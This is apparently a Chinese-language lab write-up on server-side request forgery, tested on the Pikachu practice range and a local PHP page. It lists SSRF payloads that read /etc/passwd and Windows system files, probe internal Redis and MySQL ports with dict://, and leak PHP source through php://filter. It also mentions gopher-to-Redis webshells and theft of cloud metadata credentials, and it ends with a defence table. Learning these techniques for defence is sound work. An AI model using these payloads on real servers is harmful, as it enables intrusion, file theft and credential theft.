SSRF
Environment: PHP 7.3.4 + MySQL 5.7.26
Lab: Pikachu
1.0 SSRF
1.1 什么是SSRF
SSRF(Server-Side Request Forgery, 服务端请求伪造): 服务器在没有对目标地址做有效过滤的情况下, 替攻击者向任意地址发起请求, 攻击者相当于把服务器当成了”跳板机”
1.2 根因
用户可控的 URL / 资源标识符 → 进入了网络请求函数, 且无过滤 和文件包含 include($_GET['file']) 是同一类
1.3 常见危险函数
| 语言 | 危险函数 |
|---|---|
| PHP | curl、file_get_contents、fsockopen、fopen |
| Python | requests、urllib |
| Java | URL.openConnection、HttpClient |
1.4 分类
- 有回显SSRF: 内网响应直接返回给攻击者
- 无回显SSRF(Blind): 无回显, 需要 DNSLog / 时间差等侧信道确认和利用
1.5 漏洞危害
| 危害 | 说明 | 典型 payload 协议 |
|---|---|---|
| 读服务器本地文件 | 读 /etc/passwd、win.ini |
file:// |
| 内网端口扫描 / 服务探测 | 扫存活主机、探测 Redis/MySQL | http://、dict:// |
| 攻击内网未授权服务 | 打 Redis 写 webshell → RCE | gopher:// |
| 云凭据窃取 | 偷 AWS/阿里云 IAM 临时凭据 | http://169.254.169.254 |
协议就是 SSRF 的武器库:
file读文件、dict探服务、gopher发任意 TCP 字节流(万能)
2.0 漏洞利用
2.0.1 php函数
| 函数 | 作用 |
|---|---|
| curl_exec() | 执行cURL会话 |
| file_get_contents() | 获取整个文件 |
| fsockopen() | 打开一个网络连接或者一个Unix套接字连接 |
2.0.2 CURL协议
| 协议 | 作用 |
|---|---|
| file | 查看文件 |
| dict | 探测端口 |
| gopher | 发送任意 TCP 原始字节流 可打 Redis/MySQL/FastCGI 写 webshell, 进而 RCE |
2.1 Pass-01-本地编写测试
ssrf1.php
1 |
|
http请求类(确认漏洞存在)
![]()
通过Payload
?url=http://www.baidu.com成功跳转链接本地文件读取(file)
1
2?url=file:///c:/windows/win.ini # Windows
?url=file:///etc/passwd # Linux![]()
成功读取到win.ini内容
探测内网服务(http/dict)
1
2?url=http://127.0.0.1:81/ # 访问自己,验证内网可达
?url=dict://127.0.0.1:6379/info # 探测 Redis 未授权扫描思路: 通过响应差异 / 时间差判断端口是否开放
2.2 Pikachu靶场实验
端口探测(curl)
1
?url=dict://127.0.0.1:3306
![]()
探测到mysql端口开放
读取本机hosts文件(curl)
1
?url=file:///c:windows/system32/drivers/etc/hosts
![]()
文件读取(file_get_contents)
1
?file=file://c:windows/system32/drivers/etc/hosts
通过php伪协议读取源码(file_get_contents)
1
?file=php://filter/read=convert.base64-encode/resource=ssrf.php
![]()
解码后与源码一致, 成功读取
3.0 防御
| 防御措施 | 防什么 |
|---|---|
| 协议白名单(只放 http/https) | file/dict/gopher |
| 解析后校验 IP(禁私网/回环/链路本地) | 直连内网 |
禁用 CURLOPT_FOLLOWLOCATION |
302 跳转绕过 |
CURLOPT_RESOLVE 锁定 IP |
DNS Rebinding(关键) |
| 出口防火墙 / 网络隔离 | 纵深兜底 |




